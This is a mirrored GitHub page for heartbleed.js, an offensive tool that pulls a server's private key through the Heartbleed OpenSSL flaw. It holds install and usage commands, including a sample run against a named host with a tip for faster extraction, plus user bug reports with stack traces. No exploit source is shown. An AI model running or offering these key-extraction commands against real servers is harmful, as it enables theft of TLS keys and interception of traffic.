Giter Site home page Giter Site logo

heartbleed's Introduction

Heartbleed

Extracting server private key using Heartbleed OpenSSL vulnerability.

NOTE: Pointing this tool at other people's servers is illegal in most countries.

How to use

$ npm install -g heartbleed.js
$ heartbleed
Options:
  --host         [required]
  --port         [default: 443]
  --concurrency  [default: 1]

Missing required arguments: host

$ heartbleed -h cloudflarechallenge.com -c 1000 >> key.pem

Protip, use cheap ciphers:

heartbleed -h cloudflarechallenge.com -c 1000 --ciphers="AES128-SHA" >> key.pem

LICENSE

This software is licensed under the MIT License.

Copyright Fedor Indutny, 2014.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

heartbleed's People

Contributors

askmike avatar indutny avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

heartbleed's Issues

getting this error

Heartbleeding website.com:443, stay calm...
Cert loaded...

/usr/lib/node_modules/heartbleed.js/heartbleed.js:65
s.fakeHeartbeat(sent);
^
TypeError: Object # has no method 'fakeHeartbeat'
at send (/usr/lib/node_modules/heartbleed.js/heartbleed.js:65:9)
at null._onTimeout (/usr/lib/node_modules/heartbleed.js/heartbleed.js:57:7)
at Timer.listOnTimeout as ontimeout

Segfault after installation

Hi,

after installing with npm install -g heartbleed.js I'm getting a segfault when trying to start it. I've rebuilt nodejs at the same place without the patch which was used previously.

Install log:
npm install -g heartbleed.js

npm http GET https://registry.npmjs.org/heartbleed.js
npm http 304 https://registry.npmjs.org/heartbleed.js
npm http GET https://registry.npmjs.org/asn1.js
npm http GET https://registry.npmjs.org/asn1.js-rfc3280
npm http GET https://registry.npmjs.org/bignum
npm http GET https://registry.npmjs.org/bindings
npm http GET https://registry.npmjs.org/progress
npm http GET https://registry.npmjs.org/yargs
npm http 304 https://registry.npmjs.org/asn1.js-rfc3280
npm http 304 https://registry.npmjs.org/bindings
npm http 304 https://registry.npmjs.org/progress
npm http 304 https://registry.npmjs.org/asn1.js
npm http 304 https://registry.npmjs.org/bignum
npm http 304 https://registry.npmjs.org/yargs

> [email protected] install /home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js/node_modules/bignum
> node-gyp configure build

make: Entering directory `/home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js/node_modules/bignum/build'
  CXX(target) Release/obj.target/bignum/bignum.o
  SOLINK_MODULE(target) Release/obj.target/bignum.node
  SOLINK_MODULE(target) Release/obj.target/bignum.node: Finished
  COPY Release/bignum.node
make: Leaving directory `/home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js/node_modules/bignum/build'
npm http GET https://registry.npmjs.org/minimist
npm http 304 https://registry.npmjs.org/minimist
/home/hb/.node/0.10.26-hb/bin/heartbleed -> /home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js/heartbleed.js

> [email protected] install /home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js
> node-gyp rebuild

make: Entering directory `/home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js/build'
  CXX(target) Release/obj.target/heartbleed/src/heartbleed.o
  SOLINK_MODULE(target) Release/obj.target/heartbleed.node
  SOLINK_MODULE(target) Release/obj.target/heartbleed.node: Finished
  COPY Release/heartbleed.node
make: Leaving directory `/home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js/build'
[email protected] /home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected] ([email protected])
└── [email protected]

which heartbleed

/home/hb/.node/0.10.26-hb/bin/heartbleed

gdb node

GNU gdb (GDB) 7.6.2 (Debian 7.6.2-1)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/hb/.node/0.10.26-hb/bin/node...done.

(gdb) r /home/hb/.node/0.10.26-hb/bin/heartbleed

Starting program: /home/hb/.node/0.10.26-hb/bin/node /home/hb/.node/0.10.26-hb/bin/heartbleed
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff7fec700 (LWP 8559)]

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff69eaf74 in _GLOBAL__sub_I_heartbleed.cc () from /home/hb/.node/0.10.26-hb/lib/node_modules/heartbleed.js/build/Release/heartbleed.node

System is a 64-bit debian testing.

TypeError: Cannot call method 'isSessionReused' of null

Heartbleeding 146.137.56.123:443, stay calm...
Cert loaded...

/home/XXX/.node/0.10.26-hb/lib/node_modules/heartbleed.js/heartbleed.js:95
s.pair.ssl.isSessionReused();
^
TypeError: Cannot call method 'isSessionReused' of null
at send (/home/XXX/.node/0.10.26-hb/lib/node_modules/heartbleed.js/heartbleed.js:95:18)
at null._onTimeout (/home/XXX/.node/0.10.26-hb/lib/node_modules/heartbleed.js/heartbleed.js:67:7)
at Timer.listOnTimeout as ontimeout

Bindings error

user@ubuntu:~/heartbleed$ heartbleed

node.js:201
        throw e; // process.nextTick error, or 'error' event on first tick
              ^
Error: Could not locate the bindings file. Tried:
 → /usr/local/lib/node_modules/heartbleed.js/build/heartbleed.node
 → /usr/local/lib/node_modules/heartbleed.js/build/Debug/heartbleed.node
 → /usr/local/lib/node_modules/heartbleed.js/build/Release/heartbleed.node
 → /usr/local/lib/node_modules/heartbleed.js/out/Debug/heartbleed.node
 → /usr/local/lib/node_modules/heartbleed.js/Debug/heartbleed.node
 → /usr/local/lib/node_modules/heartbleed.js/out/Release/heartbleed.node
 → /usr/local/lib/node_modules/heartbleed.js/Release/heartbleed.node
 → /usr/local/lib/node_modules/heartbleed.js/build/default/heartbleed.node
 → /usr/local/lib/node_modules/heartbleed.js/compiled/0.6.12/linux/x64/heartbleed.node
    at bindings (/usr/local/lib/node_modules/heartbleed.js/node_modules/bindings/bindings.js:88:9)
    at Object.<anonymous> (/usr/local/lib/node_modules/heartbleed.js/heartbleed.js:2:34)
    at Module._compile (module.js:441:26)
    at Object..js (module.js:459:10)
    at Module.load (module.js:348:32)
    at Function._load (module.js:308:12)
    at Array.0 (module.js:479:10)
    at EventEmitter._tickCallback (node.js:192:41)

Install failed

$ npm install -g heartbleed.js
npm http GET https://registry.npmjs.org/heartbleed.js

npm ERR! Error: failed to fetch from registry: heartbleed.js
npm ERR! at /usr/share/npm/lib/utils/npm-registry-client/get.js:139:12
npm ERR! at cb (/usr/share/npm/lib/utils/npm-registry-client/request.js:31:9)
npm ERR! at Request._callback (/usr/share/npm/lib/utils/npm-registry-client/request.js:136:18)
npm ERR! at Request.callback (/usr/lib/nodejs/request/main.js:119:22)
npm ERR! at Request. (/usr/lib/nodejs/request/main.js:212:58)
npm ERR! at Request.emit (events.js:88:20)
npm ERR! at ClientRequest. (/usr/lib/nodejs/request/main.js:412:12)
npm ERR! at ClientRequest.emit (events.js:67:17)
npm ERR! at HTTPParser.onIncoming (http.js:1261:11)
npm ERR! at HTTPParser.onHeadersComplete (http.js:102:31)
npm ERR! You may report this log at:
npm ERR! http://bugs.debian.org/npm
npm ERR! or use
npm ERR! reportbug --attach /home/ricardo/Downloads/npm-debug.log npm
npm ERR!
npm ERR! System Linux 3.11.0-19-generic
npm ERR! command "node" "/usr/bin/npm" "install" "-g" "heartbleed.js"
npm ERR! cwd /home/ricardo/Downloads
npm ERR! node -v v0.6.12
npm ERR! npm -v 1.1.4
npm ERR! message failed to fetch from registry: heartbleed.js
npm ERR!
npm ERR! Additional logging details can be found in:
npm ERR! /home/ricardo/Downloads/npm-debug.log
npm not ok

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.